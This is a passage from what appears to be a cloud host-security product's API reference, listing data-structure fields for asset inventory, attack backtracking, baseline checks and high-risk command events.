FirstTime	String	First collection time
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.
CpuLoadNum	String	CPU load readings (only valid for Linux systems) Note: This field may return null, indicating that no valid values can be obtained.

AssetMachineDetail

Basic information on the server list in asset fingerprint

Used by actions: DescribeAssetMachineDetail.

Name	Type	Description
Quuid	String	Server QUUID
Uuid	String	Server UUID

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MachineIp	String	Private IP address of server
MachineName	String	Server name
OsInfo	String	Operating system name
Cpu	String	CPU information
MemSize	Integer	Memory capacity, in GB
MemLoad	String	Memory utilization, in percentage
DiskSize	Integer	Hard disk capacity, in GB
DiskLoad	String	Hard disk usage, in percentage
PartitionCount	Integer	Number of partitions
MachineWanIp	String	Host public IP address
CpuSize	Integer	Number of CPU
CpuLoad	String	CPU load
ProtectLevel	Integer	Protection Level. 0 Basic Edition; 1 Professional Edition; 2 Premium Edition; 3 General Discount Edition
RiskStatus	String	Risk status: UNKNOW - unknown; RISK - risky; SAFT - Safe
ProtectDays	Integer	Days protected
BuyTime	String	Professional edition activation time
EndTime	String	Professional edition expiration time
CoreVersion	String	Kernel version
OsType	String	linux/windows
AgentVersion	String	Agent version
InstallTime	String	Installation time
BootTime	String	System startup time
LastLiveTime	String	Last online time
Producer	String	Manufacturer

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SerialNumber	String	Serial number
NetCards	Array of AssetNetworkCardInfo	Network interface
Disks	Array of AssetDiskPartitionInfo	Partition
Status	Integer	0: online; 1: offline
ProjectId	Integer	Business group ID
DeviceVersion	String	Server model
OfflineTime	String	Offline time Note: This field may return null, indicating that no valid values can be obtained.
InstanceId	String	Host ID Note: This field may return null, indicating that no valid values can be obtained.
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.
CpuLoadVul	String	CpuLoadVul Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	Time Note: This field may return null, indicating that no valid values can be obtained.

AssetNetworkCardInfo

Asset management network interface information

Used by actions: DescribeAssetMachineDetail.

Name	Type	Description

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Name	String	Network interface name
Ip	String	IPv4 address
GateWay	String	Gateway
Mac	String	MAC address
Ipv6	String	IPv6 address
DnsServer	String	DNS server

AssetPlanTask

List of asset management plan tasks

Used by actions: DescribeAssetPlanTaskList.

Name	Type	Description
Status	Integer	Default enabling status. 1 - enabled; 2 - not enabled
Cycle	String	Execution cycle
Command	String	Execute command or script
User	String	Startup user
ConfigPath	String	Configuration file path
MachineIp	String	Server IP
MachineName	String	Name
OsInfo	String	Operating system
Quuid	String	Host QUUID
Uuid	String	Host UUID
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First collection time
IsNew	Integer	Whether newly added [0: no|1: yes]

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MachineWanIp	String	Server Public IP
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

AssetPortBaseInfo

Basic information of resource management account

Used by actions: DescribeAssetPortInfoList.

Name	Type	Description
MachineIp	String	Private IP address of the host
MachineWanIp	String	Public IP address of the host
Quuid	String	Host QUUID
Uuid	String	Host UUID
OsInfo	String	Operating System Information
ProjectId	Integer	Host business group ID
Tag	Array of MachineTag	Host tag Note: This field may return null, indicating that no valid values can be obtained.
ProcessName	String	Process name
ProcessVersion	String	Process version
ProcessPath	String	Process path
Pid	String	Process ID
User	String	Running user
StartTime	String	Start time
Param	String	Start parameter
Teletype	String	Process TTY
Port	String	Port

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GroupName	String	User group
Md5	String	Process MD5
Ppid	String	Parent process ID
ParentProcessName	String	Parent process name
Proto	String	Port protocol
BindIp	String	Bound IP
MachineName	String	Host name
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First collection time
IsNew	Integer	Whether to add [0: no | 1: yes]
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

AssetProcessBaseInfo

Basic information on the resource management process

Used by actions: DescribeAssetProcessInfoList.

Name	Type	Description
MachineIp	String	Host private IP address
MachineWanIp	String	Host public IP address
Quuid	String	Host QUUID
Uuid	String	Host UUID
OsInfo	String	Operating System Information
ProjectId	Integer	Host business group ID

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Tag	Array of MachineTag	Host tag Note: This field may return null, indicating that no valid values can be obtained.
Name	String	Process name
Desc	String	Process description
Path	String	Process path
Pid	String	Process ID
User	String	Running user
StartTime	String	Startup time
Param	String	Startup parameter
Tty	String	Process TTY
Version	String	Process version
GroupName	String	Process user group
Md5	String	Process MD5
Ppid	String	Parent process ID
ParentProcessName	String	Parent process name
Status	String	Process status
HasSign	Integer	Digital signature. 0: no; 1: yes; 999: null (Windows only).
InstallByPackage	Integer	Whether to install the package. 0: no; 1: yes; 999: null (Linux only).
PackageName	String	Software package name
MachineName	String	Host name
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First collection time
IsNew	Integer	Whether new [0: no|1: yes]

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MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

AssetSystemPackageInfo

Information on resource management system installation package list

Used by actions: DescribeAssetSystemPackageList.

Name	Type	Description
Name	String	Database name
Desc	String	Description
Version	String	Version
InstallTime	String	Installation time
Type	String	Type
MachineName	String	Host name
MachineIp	String	Host IP
OsInfo	String	Operating system
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First collection time
IsNew	Integer	Whether newly added [0: no|1: yes]
MachineExtraInfo	MachineExtraInfo	Additional information
Quuid	String	Host ID
Uuid	String	Agent Id

AssetType

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Asset fingerprint type description

Used by actions: DescribeAssetTypes.

Name	Type	Description
Id	Integer	Type ID
Name	String	Type name

AssetUserBaseInfo

Resource management account basic information

Used by actions: DescribeAssetUserList.

Name	Type	Description
MachineIp	String	Host private IP address
MachineWanIp	String	Host public IP address
MachineName	String	Host name
OsInfo	String	Operating System Information
Uuid	String	Host UUID
Quuid	String	Host QUUID
Uid	String	Account UID
Gid	String	Account GID
Status	Integer	Account status. 0: disabled; 1: enabled
IsRoot	Integer	Whether there is root permission. 0: no; 1: yes; 999: null (Linux only)
LoginType	Integer	Log-in method. 0: log-in not allowed; 1: only key-based log-in allowed; 2: only password-based log-in allowed; 3: both key-based log-in and password-based log-in allowed; 999: null (Linux only)
LastLoginTime	String	Last log-in time
Name	String	Account name

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ProjectId	Integer	Host business group ID
UserType	Integer	Account type. 0: guest user; 1: standard user; 2: administrator user; 999: null (Windows only)
IsDomain	Integer	Whether a domain account. 0: no; 1: yes; 2: no; 999: null (Windows only)
IsSudo	Integer	Whether there is sudo permissions: 1: yes; 0: No; 999: null (Linux only)
IsSshLogin	Integer	Whether ssh log-in allowed. 1: yes; 0: no; 999: null (Linux only)
HomePath	String	Home directory
Shell	String	Shell path (Linux only)
ShellLoginStatus	Integer	Whether shell log-in allowed. 0: no; 1: yes (Linux only)
PasswordChangeTime	String	Password modification time
PasswordDueTime	String	Password expiration time (Linux only)
PasswordLockDays	Integer	Password locking time (unit: day): -1 - never locked; 999 - null (Linux only)
PasswordStatus	Integer	Password status: 1 - normal; 2 - expiring soon; 3 - expired; 4 - locked; 999 - null (Linux only)
UpdateTime	String	Update time Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First collection time
IsNew	Integer	Whether new [0: no|1: yes]
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

AssetUserDetail

Basic information for resource management account

Used by actions: DescribeAssetUserInfo.

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Name	Type	Description
MachineIp	String	Host private IP address
MachineName	String	Host name
Uuid	String	Host UUID
Quuid	String	Host QUUID
Uid	String	Account UID
Gid	String	Account GID
Status	Integer	Account status. 0: disabled; 1: enabled.
IsRoot	Integer	Whether there is root permission. 0: no; 1: yes; 999: null (Linux only).
LastLoginTime	String	Last log-in time
Name	String	Account name
UserType	Integer	Account type. 0: guest user; 1: standard user; 2: administrator user; 999: null (Windows only).
IsDomain	Integer	Whether the account is a domain account. 0: no; 1: yes; 999: null (Windows only).
IsSshLogin	Integer	Whether SSH log-in allowed. 1: yes; 0: no; 999: null (Linux only).
HomePath	String	Home directory
Shell	String	Shell path (Linux only)
ShellLoginStatus	Integer	Whether shell log-in allowed. 0: no; 1: yes (Linux only).
PasswordChangeTime	String	Password modification time
PasswordDueTime	String	Password expiration time (Linux only)
PasswordLockDays	Integer	Password locking time (unit: day). -1: never locked; 999: null (Linux only).
Remark	String	Remarks
GroupName	String	User group name

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DisableTime	String	Account expiration time
LastLoginTerminal	String	Last log-in terminal
LastLoginLoc	String	Last log-in location
LastLoginIp	String	Last log-in IP address
PasswordWarnDays	Integer	Password expiration reminder, in days
PasswordChangeType	Integer	Password change settings. 0: not allowed; 1: allowed.
Keys	Array of AssetUserKeyInfo	User public key listNote: This field may return null, indicating that no valid values can be obtained.
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.

AssetUserKeyInfo

Details of the asset management account key

Used by actions: DescribeAssetUserInfo, DescribeAssetUserKeyList.

Name	Type	Description
Value	String	Public key value
Comment	String	Public key remarks
EncryptType	String	Encryption method

AssetWebAppBaseInfo

List of the information on the resource management web application

Used by actions: DescribeAssetWebAppList.

Name	Type	Description
MachineIp	String	Host private IP address
MachineWanIp	String	Host public IP address

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Quuid	String	Host QUUID
Uuid	String	Host UUID
OsInfo	String	Operating system information
ProjectId	Integer	Host business group ID
Tag	Array of MachineTag	Host tag Note: This field may return null, indicating that no valid values can be obtained.
Name	String	Application name
Version	String	Version
RootPath	String	Root path
ServiceType	String	Service type
Domain	String	Site domain name
VirtualPath	String	Virtual path
PluginCount	Integer	Number of plugins
Id	String	Application ID
Desc	String	Application description
MachineName	String	Host name
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First collection time
IsNew	Integer	Whether it is newly added [0: no | 1: yes]
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

AssetWebAppPluginInfo

Details of web application plugin for asset management

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Used by actions: DescribeAssetWebAppPluginList.

Name	Type	Description
Name	String	Name
Desc	String	Description
Version	String	Version
Link	String	Link

AssetWebFrameBaseInfo

Resource management Web application list information

Used by actions: DescribeAssetWebFrameList.

Name	Type	Description
MachineIp	String	Host private IP address
MachineWanIp	String	Host public IP address
Quuid	String	Host QUUID
Uuid	String	Host UUID
OsInfo	String	Operating System Information
ProjectId	Integer	Host business group ID
Tag	Array of MachineTag	Host tag Note: This field may return null, indicating that no valid values can be obtained.
Name	String	Database name
Version	String	Version
Lang	String	Language
ServiceType	String	Service type
MachineName	String	Host name
UpdateTime	String	Data update time

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FirstTime	String	First collection time
IsNew	Integer	Whether new [0: no|1: yes]
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.
Path	String	Application path

AssetWebLocationBaseInfo

Asset management Web site list information

Used by actions: DescribeAssetWebLocationList.

Name	Type	Description
Uuid	String	Host UUID
Quuid	String	Host QUUID
MachineIp	String	Private IP address
MachineWanIp	String	Public IP address
MachineName	String	Host name
OsInfo	String	Operating system
Name	String	Domain name
Port	String	Site port
Proto	String	Site protocol
ServiceType	String	Service type
PathCount	Integer	Number of site paths
User	String	Running user
MainPath	String	Home directory
MainPathOwner	String	Home directory owner
Permission	String	Owner permissions

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ProjectId	Integer	Host business group ID
Tag	Array of MachineTag	Host tag
Id	String	Web site ID
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First collection time
IsNew	Integer	Whether the web service is newly added [0 - no|1 - yes] Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

AssetWebLocationInfo

Asset management Web site list information

Used by actions: DescribeAssetWebLocationInfo.

Name	Type	Description
Name	String	Domain name
Port	String	Site port
Proto	String	Site protocol
ServiceType	String	Service type
SafeStatus	Integer	Security module status. 0: not enabled; 1: enabled; 999: null (nginx only)
User	String	Running user
MainPath	String	Home directory
Command	String	Startup command
Ip	String	Bind IP

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UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.

AssetWebLocationPath

Virtual directory of the asset management web site

Used by actions: DescribeAssetWebLocationPathList.

Name	Type	Description
VirtualPath	String	Virtual path
RealPath	String	Physical path
User	String	File owner
Group	String	File group
Permission	String	File permission

AssetWebServiceBaseInfo

List information on resource management Web service

Used by actions: DescribeAssetWebServiceInfoList.

Name	Type	Description
MachineIp	String	Private IP address of a host
MachineWanIp	String	Public IP address of a host
Quuid	String	Host QUUID
Uuid	String	Host UUID
OsInfo	String	Operating System Information
ProjectId	Integer	Host business group ID
Tag	Array of MachineTag	Host tag Note: This field may return null, indicating that no valid values can be obtained.

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Name	String	Database name
Version	String	Version
BinPath	String	Binary path
User	String	Startup user
InstallPath	String	Installation path
ConfigPath	String	Configuration path
ProcessCount	Integer	Number of associated processes
Id	String	Web Service ID
MachineName	String	Host name
Desc	String	Description
UpdateTime	String	Data update time Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First collection time
IsNew	Integer	Whether newly added [0: no|1: yes]
MachineExtraInfo	MachineExtraInfo	Additional information Note: This field may return null, indicating that no valid values can be obtained.

AttackSource

Attack backtracking

Used by actions: DescribeAttackSource.

Name	Type	Description
Nodes	Array of AttackSourceNode	Attack backtracking node description Note: This field may return null, indicating that no valid values can be obtained.
Edges	Array of AttackSourceEdge	Attack backtracking node path Note: This field may return null, indicating that no valid values can

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		be obtained.
EventInfoParam	String	Parameters for requesting details on node-related events Note: This field may return null, indicating that no valid values can be obtained.

AttackSourceEdge

Attack backtracking path description

Used by actions: DescribeAttackSource.

Name	Type	Description
From	String	Starting node
To	String	Target node

AttackSourceEvent

Attack backtracking event

Used by actions: DescribeAttackSourceEvents.

Name	Type	Description
EventType	Integer	Event type. 0: virus scanning; 1: abnormal log-in; 2: password cracking; 3: malicious request; 4: high-risk command.
Content	String	[Virus scanning] Virus name: VirusName, file name: FileName, file path: FilePath, file size: FileSize, file MD5: MD5, first detection time: CreateTime, last detection time: LatestScanTime, severity description: HarmDescribe, fixing suggestion: SuggestScheme [Abnormal log-in] Source IP: SrcIp, location: Location, log-in username: UserName, log-in time: LoginTime [Password cracking] Source IP: SrcIp, location: City and Country, protocol: Protocol, log-in username: UserName, port: Port, attempt count: Count, first attack time: CreateTime, last attack time: ModifyTime [Malicious request] Malicious request domain name: Url, process: ProcessName, MD5: ProcessMd5, PID: Pid, request count: AccessCount, last request time: MergeTime, severity description: HarmDescribe, fixing suggestion: SuggestScheme [High-risk command] Hit rule name: RuleName, rule category: RuleCategory, command content: BashCmd, data source: DetectBy, Log-in user: User, PID: Pid,

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		occurrence time: CreateTime, severity description: HarmDescribe, fixing suggestion: SuggestScheme
CreatedTime	String	Intrusion time
Level	Integer	Unified event risk level. 0: prompt; 1: low; 2: medium; 3: high; 4: critical.
LevelZh	String	Risk level string in Chinese
Id	Integer	Event ID
Uuid	String	Host UUID

AttackSourceNode

Attack backtracking node

Used by actions: DescribeAttackSource.

Name	Type	Description
EventId	Integer	Event ID. If this parameter is left blank, no corresponding event exists.
EventType	String	BRUTEFORCE: password cracking; MALWARE: Trojan; BASH: high-risk command; RISK_DNS: malicious request; LOGIN: cross-region log-in; HOST: host node; TIME_ORDER: general node.
Ip	String	Node IP address. When the node is HOST, the value is the IP address of this node.
Level	Integer	Level. 0: prompt; 1: low-risk; 2: medium-risk; 3: high-risk; 4: critical.
NodeId	String	Node ID
StartTime	String	Start time
EndTime	String	End time
NodeDesc	String	General node description
TimeLineNum	Integer	Timeline number. Nodes with the same number belong to the same timeline.
NodeDetail	String	Node details

BanWhiteList

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Block allowlist rules

Used by actions: CreateBanWhiteList, ModifyBanWhiteList.

Name	Type	Required	Description
Id	String	No	Allowlist IDs
Remark	String	No	Allowlist aliases
SrcIp	String	No	Block source IP
ModifyTime	Timestamp	No	Time of modifying allowlists
CreateTime	Timestamp	No	Time of creating allowlists
Uuid	String	No	Machine associated with the allowlist Note: This field may return null, indicating that no valid values can be obtained.
IsGlobal	Boolean	No	Whether the allowlist is global Note: This field may return null, indicating that no valid values can be obtained.
Quuids	Array of String	No	Machine list associated with the allowlist Note: This field may return null, indicating that no valid values can be obtained.

BanWhiteListDetail

List of displayed blocking allowlist information, including the machine information

Used by actions: DescribeBanWhiteList.

Name	Type	Description
Id	String	Allowlist ID
Remark	String	Allowlist alias
SrcIp	String	Blocking source IP address
ModifyTime	Timestamp	Allowlist modification time
CreateTime	Timestamp	Allowlist creation time
IsGlobal	Boolean	Whether the allowlist takes effect globally

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Quuid	String	Machine UUID
Uuid	String	CWPP program UUID
MachineIp	String	Machine IP address
MachineName	String	Machine name

BaselineBasicInfo

Basic baseline information

Used by actions: DescribeBaselineBasicInfo.

Name	Type	Description
Name	String	Baseline name Note: This field may return null, indicating that no valid values can be obtained.
BaselineId	Integer	Baseline ID Note: This field may return null, indicating that no valid values can be obtained.
ParentId	Integer	Parent ID Note: This field may return null, indicating that no valid values can be obtained.

BaselineCustomRuleIdName

Baseline Custom Rule ID and Name

Used by actions: DescribeIgnoreHostAndItemConfig.

Name	Type	Description
RuleId	Integer	Custom rule ID Note: This field may return null, indicating that no valid values can be obtained.
RuleName	String	Custom Rule Name Note: This field may return null, indicating that no valid values can be obtained.

BaselineDetail

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Baseline details

Used by actions: DescribeBaselineDetail.

Name	Type	Description
Description	String	Baseline description Note: This field may return null, indicating that no valid values can be obtained.
Level	Integer	Severity level Note: This field may return null, indicating that no valid values can be obtained.
PackageName	String	Package name Note: This field may return null, indicating that no valid values can be obtained.
ParentId	Integer	Parent ID Note: This field may return null, indicating that no valid values can be obtained.
Name	String	Baseline name Note: This field may return null, indicating that no valid values can be obtained.

BaselineDetectParam

Baseline check parameters

Used by actions: StartBaselineDetect.

Name	Type	Required	Description
PolicyIds	Array of Integer	No	Collection of check policies
RuleIds	Array of Integer	No	Collection of check rules
ItemIds	Array of Integer	No	Collection of check items
HostIds	Array of String	No	Collection of checked server IDs

BaselineEffectHost

Information on the host affected by baseline

Used by actions: DescribeBaselineEffectHostList.

Name	Type	Description

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PassCount	Integer	Passed item Note: This field may return null, indicating that no valid values can be obtained.
FailCount	Integer	Risky item Note: This field may return null, indicating that no valid values can be obtained.
FirstScanTime	String	First check time Note: This field may return null, indicating that no valid values can be obtained.
LastScanTime	String	Last check time Note: This field may return null, indicating that no valid values can be obtained.
Status	Integer	Risky item processing status. 0: failed; 1: passed. Note: This field may return null, indicating that no valid values can be obtained.
Quuid	String	Host QUUID Note: This field may return null, indicating that no valid values can be obtained.
HostIp	String	Host IP address Note: This field may return null, indicating that no valid values can be obtained.
AliasName	String	Host alias Note: This field may return null, indicating that no valid values can be obtained.
Uuid	String	Host UUID Note: This field may return null, indicating that no valid values can be obtained.
MaxStatus	Integer	Check status Note: This field may return null, indicating that no valid values can be obtained.

BaselineEventLevelInfo

Host information of Top server risks

Used by actions: DescribeBaselineHostTop.

Name	Type	Description
EventLevel	Integer	Hazard level: 1-Low-risk; 2-Medium-risk; 3-High-risk; 4-Critical Note: This field may return null, indicating that no valid values can be obtained.
EventCount	Integer	Number of vulnerabilities Note: This field may return null, indicating that no valid values can be obtained.

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BaselineHost

Baseline host information

Used by actions: DescribeIgnoreHostAndItemConfig.

Name	Type	Description
HostId	String	Host ID
HostName	String	Host name Note: This field may return null, indicating that no valid values can be obtained.
HostTag	String	Host tag Note: This field may return null, indicating that no valid values can be obtained.
HostIp	String	Private IP address Note: This field may return null, indicating that no valid values can be obtained.
WanIp	String	Public IP address Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.

BaselineHostDetect

Baseline Host Detection

Used by actions: DescribeBaselineHostDetectList.

Name	Type	Description
HostId	String	Host ID
HostIp	String	Private IP address
HostName	String	Host name
WanIp	String	Public IP address

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DetectStatus	Integer	0: Failed; 1: Ignored; 3: Passed; 5: Under detection
PassedItemCount	Integer	Number of Passed Tasks in Detection
ItemCount	Integer	Associated Detection Item Count
NotPassedItemCount	Integer	Detection Failure Count
FirstTime	String	First detection time
LastTime	String	Last detection Time
Uuid	String	CWPP UUID Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.

BaselineHostTopList

Baseline affected servers list data

Used by actions: DescribeBaselineHostTop.

Name	Type	Description
EventLevelList	Array of BaselineEventLevelInfo	List of event levels and occurrences Note: This field may return null, indicating that no valid values can be obtained.
HostName	String	Host name Note: This field may return null, indicating that no valid values can be obtained.
Quuid	String	Host QUUID Note: This field may return null, indicating that no valid values can be obtained.
Score	Integer	Score for calculating weight Note: This field may return null, indicating that no valid values can be obtained.

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BaselineInfo

Baseline Information

Used by actions: DescribeBaselineList.

Name	Type	Description
Name	String	Baseline name Note: This field may return null, indicating that no valid values can be obtained.
Level	Integer	Hazard level: 1-Low-risk; 2-Medium-risk; 3-High-risk; 4-Critical Note: This field may return null, indicating that no valid values can be obtained.
RuleCount	Integer	Number of check items Note: This field may return null, indicating that no valid values can be obtained.
HostCount	Integer	Number of affected servers Note: This field may return null, indicating that no valid values can be obtained.
Status	Integer	Pass status. 0: passed; 1: failed.Note: This field may return null, indicating that no valid values can be obtained.
CategoryId	Integer	Baseline ID Note: This field may return null, indicating that no valid values can be obtained.
LastScanTime	String	Last check time Note: This field may return null, indicating that no valid values can be obtained.
MaxStatus	Integer	5: checking Note: This field may return null, indicating that no valid values can be obtained.
BaselineFailCount	Integer	Baseline check items with risks Note: This field may return null, indicating that no valid values can be obtained.

BaselineItem

Baseline Item

Used by actions: DescribeBaselineItemList.

Name	Type	Description
ItemId	Integer	Item ID

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ItemName	String	Item Name
CategoryId	Integer	Detection Item Classification
ItemDesc	String	Item Description
FixMethod	String	Fixing Method
RuleName	String	Rule
DetectResultDesc	String	Check result description Note: This field may return null, indicating that no valid values can be obtained.
Level	Integer	Risk level Note: This field may return null, indicating that no valid values can be obtained.
DetectStatus	Integer	Detection Status. 0: Failed; 1: Ignored; 3: Passed; 5: Under detection Note: This field may return null, indicating that no valid values can be obtained.
HostId	String	Host ID Note: This field may return null, indicating that no valid values can be obtained.
HostName	String	Host name Note: This field may return null, indicating that no valid values can be obtained.
HostIp	String	Host IP address Note: This field may return null, indicating that no valid values can be obtained.
WanIp	String	Public IP address Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First Occurrence Time Note: This field may return null, indicating that no valid values can be obtained.
LastTime	String	Last Occurrence Time Note: This field may return null, indicating that no valid values can be obtained.
CanBeFixed	Integer	Can Be Fixed or Not

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		Note: This field may return null, indicating that no valid values can be obtained.
Uuid	String	Host Security UUID Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Host Additional Information Note: This field may return null, indicating that no valid values can be obtained.

BaselineItemDetect

Baseline detection item

Used by actions: DescribeBaselineItemDetectList.

Name	Type	Description
ItemId	Integer	Item ID Note: This field may return null, indicating that no valid values can be obtained.
ItemName	String	Item Name Note: This field may return null, indicating that no valid values can be obtained.
ItemDesc	String	Item Description Note: This field may return null, indicating that no valid values can be obtained.
FixMethod	String	Fixing Method Note: This field may return null, indicating that no valid values can be obtained.
RuleName	String	Rule Note: This field may return null, indicating that no valid values can be obtained.
DetectStatus	Integer	0: Failed; 1: Ignored; 3: Passed; 5: Under detection Note: This field may return null, indicating that no valid values can be obtained.
Level	Integer	Risk level Note: This field may return null, indicating that no valid values can be

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		obtained.
HostCount	Integer	Number of affected servers Note: This field may return null, indicating that no valid values can be obtained.
FirstTime	String	First detection time Note: This field may return null, indicating that no valid values can be obtained.
LastTime	String	Last Detection Time Note: This field may return null, indicating that no valid values can be obtained.
DetectResult	String	Detection result, JSON string Note: This field may return null, indicating that no valid values can be obtained.
RuleId	Integer	Rule ID Note: This field may return null, indicating that no valid values can be obtained.
PassedHostCount	Integer	Number of servers passed Note: This field may return null, indicating that no valid values can be obtained.
NotPassedHostCount	Integer	Number of servers failed Note: This field may return null, indicating that no valid values can be obtained.

BaselineItemInfo

Baseline Information

Used by actions: DescribeIgnoreHostAndItemConfig.

Name	Type	Description
ItemId	Integer	Baseline Detection Item ID
ItemName	String	Detection Item Name
RuleId	Integer	ID of the Rule to Which the Detection Item Belongs Note: This field may return null, indicating that no valid values can be obtained.

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ItemDesc	String	Detection item description
FixMethod	String	Remediation Method for Inspection Items
RuleName	String	Rule Name of Detection Item
Level	Integer	Risk level
SysRuleId	Integer	System Rule ID Note: This field may return null, indicating that no valid values can be obtained.
RelatedCustomRuleInfo	Array of BaselineCustomRuleIdName	Referenced Custom Rule Information Note: This field may return null, indicating that no valid values can be obtained.

BaselinePolicy

Baseline policy information

Used by actions: DescribeBaselinePolicyList, ModifyBaselinePolicy.

Name	Type	Required	Description
PolicyName	String	Yes	Policy name, which is no more than 128 English characters in length.
DetectInterval	Integer	Yes	Detection interval [1: 1 day|3: 3 days|5: 5 days|7: 7 days]
DetectTime	String	Yes	Detection time
IsEnabled	Integer	Yes	Whether enabled [0: not enabled|1: enabled]
AssetType	Integer	Yes	Asset type [0: all Professional and Ultimate editions|1: ID | 2: IP]
PolicyId	Integer	No	Policy ID
RuleCount	Integer	No	Number of associated baseline items
ItemCount	Integer	No	Number of associated baseline items
HostCount	Integer	No	Number of associated baseline hosts
RuleIds	Array of Integer	No	Rule ID

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HostIds	Array of String	No	Host ID
HostIps	Array of String	No	Host IP
IsDefault	Integer	No	Whether the system default

BaselineRuleInfo

Baseline detection information

Used by actions: DescribeBaselineRule.

Name	Type	Description
RuleName	String	Detection item name
Description	String	Detection item description
FixMessage	String	Fixing suggestion
Level	Integer	Severity level
Status	Integer	Status
RuleId	Integer	Detection Item ID
LastScanAt	String	Last detection Time
RuleRemark	String	Specific reason explanation
Uuid	String	Unique UUID
EventId	Integer	Unique event ID

BaselineRuleTopInfo

Information on TOP baseline detection item

Used by actions: DescribeBaselineTop.

Name	Type	Description

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RuleName	String	Baseline detection item name Note: This field may return null, indicating that no valid values can be obtained.
Level	Integer	Detection item hazard level Note: This field may return null, indicating that no valid values can be obtained.
EventCount	Integer	Total number of events Note: This field may return null, indicating that no valid values can be obtained.
RuleId	Integer	Detection Item ID Note: This field may return null, indicating that no valid values can be obtained.

BaselineWeakPassword

Baseline weak password

Used by actions: DescribeBaselineWeakPasswordList.

Name	Type	Required	Description
PasswordId	Integer	Yes	Password ID
WeakPassword	String	Yes	Password
CreateTime	String	No	Creation time
ModifyTime	String	No	Modification time

BashEvent

High-risk command data

Used by actions: DescribeBashEvents.

Name	Type	Description
Id	Integer	Data ID
Uuid	String	CWPP ID
Quuid	String	Server ID
Hostip	String	Host private IP address

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User	String	Username for execution
Platform	Integer	Platform type
BashCmd	String	Executed commands
RuleId	Integer	Rule ID
RuleName	String	Rule name
RuleLevel	Integer	Rule level: 1 - high-risk 2 - medium-risk; 3 - low-risk
Status	Integer	Processing status: 0 - pending; 1 - processed; 2 - allowlisted; 3 - ignored
CreateTime	String	Occurrence time
MachineName	String	Server name
DetectBy	Integer	0: bash log; 1: real-time monitoring (thunder edition) Note: This field may return null, indicating that no valid values can be obtained.
Pid	String	Process ID Note: This field may return null, indicating that no valid values can be obtained.
Exe	String	Process name Note: This field may return null, indicating that no valid values can be obtained.
ModifyTime	String	Processing time Note: This field may return null, indicating that no valid values can be obtained.
RuleCategory	Integer	Rule category: 0 - system rule; 1 - user rule Note: This field may return null, indicating that no valid values can be obtained.
RegexBashCmd	String	Automatically generated regular expression\nNote: This field may return null, indicating that no valid values can be obtained.
HostName	String	Host HostName Note: This field may return null, indicating that no valid values can be obtained.

BashEventNew

High-risk command data (new)

Used by actions: DescribeBashEventsNew.

Name	Type	Description

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Id	Integer	Data ID
Uuid	String	CWPP ID
Quuid	String	Host ID
HostIp	String	Host private IP address
User	String	Username for execution
Platform	Integer	Platform type
BashCmd	String	Execute commands
RuleId	Integer	Rule ID
RuleName	String	Rule name
RuleLevel	Integer	Rule level: 1: high-risk 2: medium-risk; 3: low-risk
Status	Integer	Processing status: 0: pending; 1: processed; 2: allowlisted; 3: ignored
CreateTime	String	Occurrence time
MachineName	String	Host name
DetectBy	Integer	0: bash log; 1: real-time monitoring (Leiting edition) Note: This field may return null, indicating that no valid values can be obtained.
Pid	String	Process ID Note: This field may return null, indicating that no valid values can be obtained.
Exe	String	Process name Note: This field may return null, indicating that no valid values can be obtained.
ModifyTime	String	Processing time Note: This field may return null, indicating that no valid values can be obtained.
RuleCategory	Integer	Rule category. 0: system rule; 1: user rule Note: This field may return null, indicating that no valid values can be obtained.
RegexBashCmd	String	Automatically generated regular expression Note: This field may return null, indicating that no valid values can be

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		obtained.
MachineType	Integer	0: normal; 1: Professional edition; 2: Ultimate edition Note: This field may return null, indicating that no valid values can be obtained.
MachineExtraInfo	MachineExtraInfo	Additional Information on Machine Note: This field may return null, indicating that no valid values can be obtained.

BashEventsInfo

Details of high-risk command data

Used by actions: DescribeBashEventsInfo.

Name	Type	Description
Id	Integer	Data ID
Uuid	String	Yunjing ID
Quuid	String	Host ID
HostIp	String	Host private IP address
Platform	Integer	Platform type
BashCmd	String	Executed commands
RuleId	Integer	Rule ID equals 0 indicating that the rule has been deleted or the effective scope has been modified.
RuleName	String	Rule name
RuleLevel	Integer	Rule level: 1 - high-risk 2 - medium-risk; 3 - low-risk
Status	Integer	Processing status. 0: Pending; 1: Processed; 2: Whitelisted; 3: Ignored
CreateTime	String	Occurrence time
MachineName	String	Host name
Exe	String	Process name Note: This field may return null, indicating that no valid values can be obtained.
ModifyTime	String	Processing time

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		Note: This field may return null, indicating that no valid values can be obtained.
